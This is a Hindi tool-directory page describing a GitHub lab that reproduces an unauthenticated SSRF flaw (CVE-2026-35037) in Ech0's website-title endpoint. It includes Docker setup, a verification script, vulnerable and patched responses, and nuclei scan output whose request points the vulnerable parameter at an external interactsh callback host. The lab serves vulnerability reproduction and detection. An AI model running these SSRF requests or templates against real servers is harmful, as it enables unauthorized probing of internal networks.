Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
POC_CVE-2026-35037 — CVE-2026-35037 के लिए स्थानीय पृथक पुनरुत्पादन प्रयोगशाला, Ech0 के GET /api/website/title एंडपॉइंट में एक अनधिकृत SSRF भेद्यता। Docker Compose सेटअप, सत्यापन स्क्रिप्ट, और सत्यापन के लिए nuclei टेम्पलेट शामिल है। | Kitploit
उपकरण/GitHubGitHub/fineman999/poc_cve-2026-35037
भेद्यता विश्लेषणशोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षालैब और अभ्यास
GitHubfineman999/poc_cve-2026-35037

POC_CVE-2026-35037

CVE-2026-35037 के लिए स्थानीय पृथक पुनरुत्पादन प्रयोगशाला, Ech0 के GET /api/website/title एंडपॉइंट में एक अनधिकृत SSRF भेद्यता। Docker Compose सेटअप, सत्यापन स्क्रिप्ट, और सत्यापन के लिए nuclei टेम्पलेट शामिल है।

रिपॉजिटरी देखें
115 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-35037 Ech0 SSRF प्रयोगशाला

यह रिपॉजिटरी CVE-2026-35037 के लिए एक स्थानीय, पृथक पुनरुत्पादन प्रयोगशाला है, जो Ech0 के GET /api/website/title एंडपॉइंट में एक अप्रमाणित SSRF कमजोरी है।

प्रयोगशाला क्लाउड मेटाडेटा या तृतीय-पक्ष बुनियादी ढांचे के बजाय एक नियंत्रित स्थानीय साक्ष्य सर्वर का उपयोग करती है।

सारांश

  • उत्पाद: lin-snow/Ech0
  • कमजोरी: सर्वर-साइड अनुरोध जालसाजी
  • CVE: CVE-2026-35037
  • GHSA: GHSA-cqgf-f4x7-g6wc
  • प्रभावित संस्करण: GHSA <= 4.2.1 सूचीबद्ध करता है; NVD 4.2.8 से पहले के संस्करणों का वर्णन करता है
  • पैच किया गया संस्करण: 4.2.8
  • एंडपॉइंट: GET /api/website/title
  • पैरामीटर: website_url
  • प्रमाणीकरण: कमजोर संस्करण में आवश्यक नहीं

संदर्भ:

  • https://nvd.nist.gov/vuln/detail/CVE-2026-35037
  • https://github.com/lin-snow/Ech0/security/advisories/GHSA-cqgf-f4x7-g6wc

फ़ाइलें

  • docker-compose.yml: Ech0 और एक स्थानीय साक्ष्य HTTP सर्वर प्रारंभ करता है
  • Dockerfile.ech0-lab: आधिकारिक GitHub टैग से Ech0 बनाता है
  • verify-cve-2026-35037.sh: नियंत्रित SSRF सत्यापन अनुरोध भेजता है
  • evidence/index.html: एक अद्वितीय <title> के साथ नियंत्रित HTML पृष्ठ
  • nuclei/CVE-2026-35037.yaml: nuclei टेम्पलेट उम्मीदवार

स्रोत से क्यों बनाएं?

जब यह प्रयोगशाला बनाई गई थी, तब sn0wl1n/ech0:4.2.1 जैसे ऐतिहासिक कमजोर Docker टैग उपलब्ध नहीं थे। प्रयोगशाला इसके बजाय आधिकारिक lin-snow/Ech0 GitHub टैग से बनाती है:

  • v4.2.1 कमजोर उम्मीदवार के लिए
  • v4.2.8 पैच किए गए तुलना के लिए

स्थानीय Dockerfile ऐतिहासिक build.Dockerfile के साथ देखी गई अपस्ट्रीम बिल्ड समस्याओं से भी बचाता है।

आवश्यकताएँ

  • Docker Engine या Docker Desktop
  • curl
  • वैकल्पिक: nuclei

इसे केवल स्थानीय पृथक प्रयोगशाला में चलाएं। तृतीय-पक्ष सिस्टम के विरुद्ध इन कमांडों का उपयोग न करें। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है।

कमजोर व्यवहार पुनरुत्पादित करें

Ech0 v4.2.1 प्रारंभ करें:

ECH0_TAG=4.2.1 docker compose up -d --build

नियंत्रित सत्यापन अनुरोध भेजें:

sh verify-cve-2026-35037.sh

अपेक्षित कमजोर प्रतिक्रिया:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}

पुष्टि करें कि Ech0 नियंत्रित साक्ष्य सर्वर तक पहुंच गया है:

docker compose logs evidence

देखा गया साक्ष्य लॉग:

ech0-cve-2026-35037-evidence  | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -

पैच किए गए संस्करण की तुलना करें

Ech0 v4.2.8 प्रारंभ करें:

docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build

वही अनुरोध चलाएं:

sh verify-cve-2026-35037.sh

देखा गया पैच किया गया प्रतिक्रिया:

HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8

{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}

Nuclei सत्यापन

टेम्पलेट मान्य करें:

nuclei -validate -t nuclei/CVE-2026-35037.yaml

कमजोर v4.2.1 के विरुद्ध चलाएं:

nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277

देखा गया कमजोर परिणाम:

[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.

पैच किए गए v4.2.8 के विरुद्ध चलाएं:

nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277

देखा गया पैच किया गया परिणाम:

[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.

सफाई

docker compose down -v

टिप्पणियाँ

  • मैन्युअल प्रयोगशाला Docker Compose नेटवर्क के अंदर http://evidence:8080/ का उपयोग करती है।
  • nuclei टेम्पलेट {{interactsh-url}} का उपयोग करता है और OAST/interactsh समर्थन की आवश्यकता है।
  • nuclei टेम्पलेट {{interactsh-url}} का उपयोग करता है, जो डिफ़ॉल्ट रूप से ProjectDiscovery के interactsh सर्वरों जैसे oast.online या oast.fun से संपर्क करता है। सर्वर को ओवरराइड करने के लिए -iserver का उपयोग करें या interactsh को अक्षम करने के लिए -ni का उपयोग करें।
  • प्रयोगशाला क्लाउड मेटाडेटा एंडपॉइंट्स की जांच नहीं करती है।
  • प्रयोगशाला Docker निर्माण के दौरान सामान्य निर्भरता/इमेज डाउनलोड के अलावा उत्पादन या तृतीय-पक्ष लक्ष्यों से संपर्क नहीं करती है।
टूल डाउनलोड करें